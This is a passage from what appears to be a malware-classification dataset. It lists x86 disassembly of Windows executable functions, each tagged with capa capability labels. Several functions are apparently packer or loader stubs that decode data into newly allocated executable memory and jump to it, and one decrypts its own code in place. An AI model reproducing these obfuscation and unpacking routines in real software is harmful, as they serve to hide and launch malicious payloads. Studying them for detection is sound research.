joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49062c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00401dac
mov eax, dword [0x55b5c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00405dda
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x49066e
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x4907ca
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00405f2e
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x55f088]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00403247
mov ecx, dword [esi*4 + 0x55f088]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x4907c3
cmp eax, dword [edi + ecx + 0x24]
jne 0x4907c3
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4907c3
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00403247
add esp, 0x14
test edx, edx
jl 0x4907c3
jg 0x490739
test eax, eax
jb 0x4907c3
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x4907c3
jl 0x490753
cmp dword [ebp - 0x1008], eax
ja 0x4907c3
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x490771
test ebx, ebx
je 0x4907aa
cmp ecx, edi
jae 0x4907aa
mov al, byte [ecx]
cmp al, 0xd
jne 0x49078b
lea eax, [edi - 1]
cmp ecx, eax
jae 0x490797
cmp byte [ecx + 1], 0xa
jne 0x490797
inc ecx
jmp 0x490797
movzx eax, al
movsx eax, byte [eax + 0x55b8e0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x490771
cmp edx, ebx
jne 0x490771
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x4907c8
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00403030
leave
ret
Function at 0x490f09
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x55f088]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x490f49
cmp byte [ebx], 0xa
jne 0x490f49
or byte [eax + edi + 0x28], 4
jmp 0x490f4e
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x49104c
mov al, byte [edx]
cmp al, 0x1a
je 0x49102e
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x490f7d
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x490fa2
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x490fac
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x490f5f
jmp 0x49104c
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x491029
cmp dword [ebp - 0xc], 0
je 0x491029
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x55f088]
test byte [eax + edi + 0x28], 0x48
je 0x491003
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x490fee
mov byte [esi], dl
jmp 0x490fff
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x55f088]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x49104c
cmp byte [ebp - 1], 0xa
jne 0x491012
cmp esi, ebx
jne 0x491012
mov byte [esi], 0xa
jmp 0x49104b
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00401947
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x49104c
mov byte [esi], 0xd
jmp 0x49104b
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x55f088]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x491048
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x49104c
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4910a8
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x55f088]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4910eb
cmp word [esi], dx
jne 0x4910eb
or byte [edi + eax + 0x28], 4
jmp 0x4910f0
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x491243
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x491223
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x491132
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x491168
cmp eax, edx
jae 0x491174
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x49110a
jmp 0x491243
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x49121f
cmp dword [ebp - 0x14], 0
je 0x49121f
mov eax, dword [ebx*4 + 0x55f088]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x4911f7
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x4911c0
mov word [esi], cx
jmp 0x4911f3
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x55f088]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x55f088]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x55f088]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x491243
pop ebx
cmp word [ebp - 4], bx
jne 0x491208
cmp esi, dword [ebp + 0xc]
jne 0x491208
mov word [esi], bx
jmp 0x491240
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00401947
add esp, 0x10
cmp word [ebp - 4], bx
je 0x491243
push 0xd
jmp 0x49123c
mov ecx, dword [ebx*4 + 0x55f088]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x49123a
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x491243
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x497940
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x55b5c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x49798b
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00497e02
test al, al
jne 0x497985
sub edx, 2
cmp edx, edi
jne 0x49796b
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x4979ad
lea eax, [edi + 2]
cmp edx, eax
je 0x4979ad
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.00497539
add esp, 0x10
jmp 0x497aa7
push esi
lea ecx, [ebp - 0x255]
call fcn.00497e02
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4979f0
push dword [ebp - 0x25c]
jmp 0x49799d
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x497a2d
cmp word [ebp - 0x226], 0
je 0x497a4e
cmp word [ebp - 0x226], ax
jne 0x497a2d
cmp word [ebp - 0x224], 0
je 0x497a4e
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.00497539
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x497a9a
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x497a07
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x497a82
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x497aa7
push 0x496f21
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.004054b1
add esp, 0x10
jmp 0x497a77
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403030
leave
ret
Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x408ce0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x408cef
pop dword [ebp - 0x38]
mov eax, 0x974217b6
sub eax, 0x97018ac7
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xa08cfd55
add dword [ebp - 0x48], 0xadc547f6
mov dword [ebp - 0x44], 0x3c3dae22
add dword [ebp - 0x44], 0xf5f59e23
mov dword [ebp - 0x40], 0xdc3e2162
sub dword [ebp - 0x40], 0x8ff1dd34
mov dword [ebp - 0x3c], 0x4473c8b8
add dword [ebp - 0x3c], 0xbb8c3748
lea eax, [ebp - 0x48]
push eax
mov eax, 0xbcdd5e17
sub eax, 0xbc9c8dcb
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xac8a2372
sub dword [ebp - 0x48], 0x3817ba1c
mov dword [ebp - 0x44], 0x7ba003c6
add dword [ebp - 0x44], 0xc5cc5daf
mov dword [ebp - 0x40], 0xa9d4e853
add dword [ebp - 0x40], 0xb99a8419
mov dword [ebp - 0x3c], 0x985bf28
sub dword [ebp - 0x3c], 0x985bf28
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x37936
push 0
call eax
mov ecx, 0x406c
xor edi, edi
add edi, eax
mov edx, 0x2b18fd7c
add edx, 0xd528b284
add edx, dword [ebp - 0x38]
mov esi, 0xb31903a9
sub esi, 0xb02b2fef
mov ebx, dword [edx]
xor dword [ebp - 0x24], esi
add ebx, esi
mov dword [ebp - 0x28], 0x25113e9e
mov dword [edi], ebx
sub dword [ebp - 0x24], 0x76b81ac6
add edi, 0xbb96576f
add edi, 0x4469a895
add edx, 0xfd5a14d4
sub edx, 0xfd5a14d0
loop 0x408e08
add eax, 0x2d57edb7
add eax, 0xd2a906cc
xor ebx, ebx
add ebx, eax
add eax, 0xdcacf6c8
add eax, 0x2353093d
mov ecx, 0xc4122934
add ecx, 0x3c2dd6cc
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x4028a2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x4028b1
pop dword [ebp - 0x20]
mov eax, 0x4028b1
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x972d6726
sub dword [ebp - 0x30], 0x48db21db
mov dword [ebp - 0x2c], 0xa31e0600
add dword [ebp - 0x2c], 0x8f154645
mov dword [ebp - 0x28], 0xed55cfc6
sub dword [ebp - 0x28], 0xa1098b98
mov dword [ebp - 0x24], 0x530c6bee
sub dword [ebp - 0x24], 0x530c6bee
lea eax, [ebp - 0x30]
push eax
mov eax, 0xb1a6d640
sub eax, 0xb1666624
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x706d6004
sub dword [ebp - 0x30], 0xfbfaf6ae
mov dword [ebp - 0x2c], 0xc49f3042
sub dword [ebp - 0x2c], 0x8332cecd
mov dword [ebp - 0x28], 0x739067c3
add dword [ebp - 0x28], 0xefdf04a9
mov dword [ebp - 0x24], 0x5790dc22
add dword [ebp - 0x24], 0xa86f23de
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x381d4
push 0
call eax
mov ecx, 0x3910e896
add ecx, 0xc6ef6102
mov ebx, eax
mov edi, 0xe66470bf
add edi, 0x19dc5741
add edi, dword [ebp - 0x20]
mov edx, 0x969e2ec5
add edx, 0x5228db09
add dword [ebp - 0x14], 0x7bcda910
mov esi, dword [edi]
add esi, edx
sub dword [ebp - 0xc], 0xfa9303b0
mov dword [ebx], esi
xor dword [ebp - 0x1c], eax
add ebx, 0xe684aad4
add ebx, 0x197b5530
add edi, 0x49885bf8
add edi, 0xb677a40c
loop 0x4029c9
add eax, 0x21fd33bd
add eax, 0xde03e576
mov ebx, eax
add eax, 0x9ff0ffa8
sub eax, 0x9ff0ffa3
mov ecx, 0x66d8c391
add ecx, 0x99673c6f
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x4045aa
Capabilities:
Check if file exists

Disassembly:
push 0x1c
mov eax, 0x4068f8
call fcn.0040545b
cmp dword [0x40a010], 0
mov esi, dword [ebp + 8]
jne 0x4045c9
mov al, 1
jmp 0x404692
test esi, esi
je 0x404690
xor ebx, ebx
cmp word [esi], bx
je 0x404690
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x404690
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsRelativeW]
test eax, eax
jne 0x404690
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.004028a2
pop ecx
pop ecx
mov esi, dword [0x40a010]
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x18], ebx
je 0x404684
lea eax, [ebp - 0x28]
push eax
call fcn.004028a2
pop ecx
test al, al
jne 0x404684
cmp dword [ebp - 0x18], esi
jbe 0x404684
cmp dword [0x40a014], 8
lea eax, [ebp - 0x28]
mov ecx, section..data
cmovae ecx, dword [section..data]
cmp dword [ebp - 0x14], 8
push esi
cmovae eax, dword [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsnicmp]
add esp, 0xc
test eax, eax
jne 0x404684
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
test eax, eax
je 0x404684
push 0x407628
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
xor edx, edx
movzx ebx, bl
inc edx
test eax, eax
pop ecx
pop ecx
cmovne ebx, edx
lea ecx, [ebp - 0x28]
call fcn.00401780
mov al, bl
jmp 0x404692
xor al, al
call fcn.00405416
ret
Function at 0x40f040
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x40f04f
pop dword [ebp - 0x44]
mov eax, 0x2664cd57
sub eax, 0x2623dd08
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xcc79e8bf
sub dword [ebp - 0x54], 0x7e27a374
mov dword [ebp - 0x50], 0x91c1e03f
add dword [ebp - 0x50], 0xa0716c06
mov dword [ebp - 0x4c], 0x7cbc4147
sub dword [ebp - 0x4c], 0x306ffd19
mov dword [ebp - 0x48], 0xa0b3a2aa
add dword [ebp - 0x48], 0x5f4c5d56
lea eax, [ebp - 0x54]
push eax
mov eax, 0x9af3bb23
sub eax, 0x9ab25a8b
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xb98a546b
sub dword [ebp - 0x54], 0x4517eb15
mov dword [ebp - 0x50], 0xc3ec25d
add dword [ebp - 0x50], 0x352d9f18
mov dword [ebp - 0x4c], 0x8e6576c2
sub dword [ebp - 0x4c], 0x2af60a56
mov dword [ebp - 0x48], 0x6c0662f
sub dword [ebp - 0x48], 0x6c0662f
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0xaf5681b7
sub eax, 0xaf152143
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3ce53
push 0
call eax
mov ecx, 0xa1b5ea29
add ecx, 0x5e4a640d
mov esi, eax
mov edi, 0x42a600
add edi, dword [ebp - 0x44]
mov edx, 0x90e71af4
sub edx, 0x5390a422
mov ebx, dword [edi]
add dword [ebp - 0x24], edx
add ebx, edx
xor dword [ebp - 0x34], edi
mov dword [esi], ebx
xor dword [ebp - 0x10], 0x4fae1f0c
add esi, 4
add edi, 4
loop 0x40f16b
add eax, 0x55a57946
sub eax, 0x55a44d9b
mov ebx, eax
add eax, 0xf2668e48
add eax, 0xd9971bd
mov ecx, 0x436dd73a
sub ecx, 0x432dd73a
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x40333c
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x410aa0
call fcn.00406024
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x40323d
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40323d
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40323d
cmp dword [eax + 0x400074], 0xe
jbe 0x40323d
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x403241
and dword [ebp - 0x1c], 0
push 1
call main
pop ecx
test eax, eax
jne 0x403255
push 0x1c
call main
pop ecx
call fcn.00407199
test eax, eax
jne 0x403266
push 0x10
call main
pop ecx
call fcn.00406d3d
and dword [ebp - 4], 0
call fcn.00403bed
test eax, eax
jge 0x403280
push 0x1b
call main
pop ecx
call sub.kernel32.dll_GetCommandLineW
mov dword [0x413d00], eax
call fcn.00406ce0
mov dword [0x412ff8], eax
call main
test eax, eax
jge 0x4032a5
push 8
call main
pop ecx
call fcn.00406a03
test eax, eax
jge 0x4032b6
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x4032c9
push eax
call main
pop ecx
mov eax, dword [0x413340]
mov dword [0x413344], eax
push eax
push dword [0x413334]
push dword [0x41332c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4032f7
push eax
call main
call fcn.0040428b
jmp 0x40332c
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.00406069
ret
call main
jmp 0x4031eb

Function at 0x40d240
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x40d24f
pop dword [ebp - 0x3c]
mov eax, 0x1fb15c56
add eax, 0xe08f75f9
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x4074e
push 0
mov eax, 0xda15eda5
add eax, 0x262af37b
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0x62db99ef
add ecx, 0x9d24ca8e
mov edx, eax
mov esi, 0x98d77558
sub esi, 0x9895fd58
add esi, dword [ebp - 0x3c]
mov ebx, 0x926d0a80
sub dword [ebp - 0x20], esi
mov edi, dword [esi]
add edi, ebx
add dword [ebp - 0x14], 0xcf83810c
mov dword [edx], edi
xor dword [ebp - 0x38], 0xf2186afe
add edx, 0xceec78ab
add edx, 0x31138759
add esi, 4
loop 0x40d2a8
add eax, 0x8b80b21d
sub eax, 0x8b7f2d56
mov ebx, eax
add eax, 0xb2ff3dd0
sub eax, 0xb2ff3dcb
mov ecx, 0x400000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x404c32
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
push 0xfc0
push 0x253a
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
pop ebp
ret
Function at 0x424186
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
movzx eax, byte [ebp + 8]
test eax, eax
je 0x424240
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0xc], eax
lea eax, [ebp + 0x20]
mov dword [ebp - 4], eax
lea eax, [ebp + 0x24]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x424218
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x424200
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x424216
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x42423e
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
push dword [ebp - 0x34]
push 0
push 0x4e05
push 0x625f
push 1
push 0
push 0x6e81
call fcn.0042e763
add esp, 0x1c
jmp 0x424275
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x38], eax
lea eax, [ebp + 0x10]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x3c], eax
push 0x1101
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
push 1
push 0x40cb
mov eax, dword [ebp - 0x40]
movzx eax, byte [eax]
push eax
push 0
call fcn.0042b79f
add esp, 0x1c
mov esp, ebp
pop ebp
ret
Function at 0x42807c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4cdaad
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x34
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], 0x1dea
mov dword [ebp - 0x24], str.cxhbwlig_ebhbis_qglwonmk_tognvkn_hmulqmayy_lkdp_ngedya
cmp dword [ebp - 0x20], 0x2176
jle 0x428148
push 0x2146
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
and dword [ebp - 0x14], 0
jmp 0x4280d7
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x17f6
jge 0x428148
and dword [ebp - 0x18], 0
jmp 0x4280ed
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x4807
jge 0x428146
and dword [ebp - 0x1c], 0
jmp 0x428103
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x6323
jge 0x428144
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
and eax, dword [ebp - 0x1c]
cdq
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], edx
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x44]
call fcn.004019d8
pop ecx
pop ecx
mov ecx, eax
call fcn.0040bba0
push eax
call fcn.004b7f67
pop ecx
lea ecx, [ebp - 0x44]
call fcn.0040bb96
jmp 0x4280fc
jmp 0x4280e6
jmp 0x4280d0
push dword [ebp + 0x24]
push dword [ebp + 0x38]
push dword [ebp + 0x14]
push dword [ebp + 0x40]
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0x7a9c
push dword [ebp + 0x30]
push dword [ebp + 0x28]
push dword [ebp + 0x10]
push 0x326c
push dword [ebp + 0x20]
push dword [ebp + 0x34]
push dword [ebp + 0x2c]
push dword [ebp + 0x3c]
push dword [ebp + 0x18]
push dword [ebp + 0x1c]
push 0
call fcn.00444791
add esp, 0x48
and dword [ebp - 4], 0
cmp dword [ebp - 0x20], 0x1b3d
jge 0x42819f
push dword [ebp - 0x24]
call fcn.004b7f67
pop ecx
jmp 0x4281bb
or dword [ebp - 4], 0xffffffff
jmp 0x4281c5
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42922c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x429305
lea eax, [ebp + 0x10]
mov dword [ebp - 8], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x4292ca
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x42929f
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [eax]
test eax, eax
je 0x42929d
push 0x1eb4
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
jmp 0x4292c8
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x4292c8
push 0x62f5
push 1
push 0x74a2
push 1
push 0
push 0x5b41
call fcn.00423d02
add esp, 0x18
jmp 0x429303
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
push 0x630a
push 0x762b
push 0x6bbc
push 1
